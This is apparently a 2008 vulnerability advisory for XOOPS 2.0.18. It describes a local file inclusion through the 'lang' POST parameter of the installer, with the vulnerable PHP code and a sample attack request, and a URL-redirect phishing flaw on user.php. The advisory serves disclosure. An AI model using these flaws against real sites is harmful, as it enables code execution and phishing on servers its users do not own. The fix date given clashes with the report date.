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xoops 2.0.18 Local File Include
xoops 2.0.18 Local File Include
xoops 2.0.18 Local File Include

Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-009

Application:                    XOOPS
Versions Affected:              XOOPS 2.0.18
Vendor URL: 
Bugs:                           Local File Include,URL Redirecting  phishing
Exploits:                       YES
Reported:                       28.01.2008
Vendor response:                28.01.2008
Date of Public Advisory:        04.02.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)


XOOPS system has multiple security vulnerabilities:

1. Local File Include
2. Url redirection Phishing


1. Local File Include
Attacker can inject PHP code and execute OS commands with webserver user privileges

vulnerable script htdocs/install/index.php  vulnerable POST parameter lang

vulnerable code:


$language = 'english';
if ( !empty($_POST['lang']) ) {
    $language = $_POST['lang'];

if ( file_exists("./language/".$language."/install.php") ) {
    include_once "./language/".$language."/install.php";



POST /xoops-2.0.18/htdocs/install/index.php HTTP/1.0
Cookie: install_lang=english; lang=russian; PHPSESSID=p113cjpff5dkrkoka01al18kk5; dk_sid=sfa6hlhn75pobg6kqe5m8p30j1
Content-Length: 67
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/xoops-2.0.18/htdocs/install/index.php 



2. URL Redirection phishing 

Vulnerability found in script htdocs/user.php?xoops_redirect in post parameter name "xoops_redirect" 



Fix Information

Vendor  fix this flaw in svn on 28.10.2007. 



Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact:        research [at] dsec [dot] ru (in Russian) 


Digital Security Research Group 

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